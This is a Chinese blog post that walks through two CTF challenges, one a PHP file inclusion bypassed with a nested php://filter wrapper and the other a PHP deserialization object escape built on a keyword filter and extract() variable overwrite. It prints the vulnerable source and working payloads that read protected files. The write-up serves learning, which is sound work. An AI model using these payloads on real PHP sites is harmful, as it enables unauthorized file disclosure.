2021-02-07

46 篇文章 0 订阅

[BSidesCF 2020]Had a bad day

考点: php伪协议嵌套
启动环境:在这里插入图片描述
其中包含两个按钮,选择猫和狗的图片:
在这里插入图片描述
此时的URL变为:http://xxx/index.php?category=meowers 观察url,猜测sql注入
其中包含有GET传参,尝试修改category传入的值,得到报错:在这里插入图片描述
弹出include报错,那就是文件包含了
尝试获取index.php页面的源码:php://filter/read=convert.base64-encode/resource=index.php:
在这里插入图片描述
尝试了几次,发现不用加.php文件后缀,直接使用index:在这里插入图片描述

得到源码:

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

查看其中的PHP代码:

<?php
	$file = $_GET['category'];

	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>

源码分析:

  • 通过GET方式传入变量category的值
  • 传入的值中需包含woofers或meowers或index,才可以调用include(),包含传入的文件

猜测其存在flag.php页面(flag常常会放在这里):
在这里插入图片描述
查看网页源码,Can you read this flag?提示需要读取flag,尝试继续使用php伪协议读取flag.php
php://filter/read=convert.base64-encode/resource=flag在这里插入图片描述

但源码中说明需要包含woofers、meowers、index,所以查阅资料,php伪协议可以嵌套使用,即构造
php://filter/read=convert.base64-encode/meowers/resource=flag在这里插入图片描述
Base64解码,得到flag

[安洵杯 2019]easy_serialize_php

1.考点

  • 锻炼代码审计能力和学习

  • PHP反序列化

  • 反序列化中的对象逃逸

首先回顾几个点:
序列化后的结果是一串字符串。
反序列化会解开序列化的字符串生成相应类型的数据。

如下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag,test。

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化部分:

经过serialize序列化后生成了相应的字符串: a:2:{s:3:“one”;s:4:“flag”;s:3:“two”;s:4:“test”;}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。

花括号中的s都表示string即字符串,

s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化部分:
unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。

可见解序列化后由变量$b,接收了img数组。
序列化中每个字母的表示在这里插入图片描述

分析题目源码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}//把过滤的这些字符串替换为空


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

我把可以对应起来的代码放到了一起

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

思路大概是:

  • 我们要令img的值为base64编码之后的d0g3_f1ag.php也就是(ZDBnM19mMWFnLnBocA==)
  • 但是我们无法直接控制img的值
  • session数组经过序列化之后还经过了一遍过滤,形成了漏洞
  • 通过这个漏洞我们可以令假的img的值变成真的

流程:
根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。

$function发挥作用的代码块,在最下方的判断句。

咱们初步访问的时候f=highlight_file,

判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。

我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。

所以可以猜测flag应该要从d0g3_f1ag.php拿
最下面有题是说让我们查看phpinfo,于是在phpinfo()里找到了在这里插入图片描述
说明我们要想办法读取这个php文件
直接访问文件,发现无法访问
此时我们选择构造反序列化逃逸进行绕过
反序列化的对象逃逸问题一般分为两种

第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中

第一种情况比较好构造,直接构造多个关键词,这样就能逃出几个字符
第二种可以是通过键逃逸和值逃逸

源码中唯一可以读取的就是file_get_content()函数.当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密,所以我们先记住这个点,一会肯定要用

变量覆盖

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

最上面的filter函数是为了过滤用的,可以先继续往下看,到如下的时候。

我们可以发现unset把原来的session销毁了,然后又给session附上了新的值。最后调用了extract( P O S T ) ; 。 这 个 e x t r a c t ( _POST);。这个extract( P​OST);。这个extract(_POST);是可以进行变量覆盖的,也就是说原来的_SESSION会丢失。
PHP extract() 函数

本地举个例子:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

在这里插入图片描述
可见最后SESSION只剩下了flag这个键。

继续往下有这样两行代码:

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

可见我们是否传入img_path参数,img参数还是会被附上一个值。
所以我们要想办法让这个img参数等于d0g3_f1ag.php的base64编码。因为有字符串的替换,能想到这里是键值逃逸。因为序列化好的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后数4个。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

在这里插入图片描述
可以看到两端代码执行结果是一样的,}后面的字符串就被丢弃了。

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空

payload

payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}

ZDBnM19mMWFnLnBocA也就是d0g3_f1ag.php的base64加密。
s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA”;}这个肯定就是我们预期的那段序列化字符.
我们先本地调试一下,代码:

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump($_SESSION);
echo "<br/>";
//$serialize_info = filter(serialize($_SESSION));
var_dump( serialize($_SESSION) );

这段本地调试代码和题目中的步骤是一样的,我们传入POST参数:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}在这里插入图片描述
可以看到没过滤的时候是a:2:{s:7:“phpflag”;s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}

那么过滤掉php和flag之后这串字符串就会变成a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}

这里,s:7:“和后面数7个字符配对,配到了”;s:54: 然后值是1。
中间img的键,值为ZDBnM19mMWFnLnBocA==。花括号后面的img原值都被抛弃。这里我们自己构造的img值就逃逸了出来。用这个payload;
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
在这里插入图片描述
查看源代码
在这里插入图片描述
将进行/d0g3_fllllllagbase64之后替换掉原来的base64
因为刚好都是20位。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
在这里插入图片描述
相关链接:[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值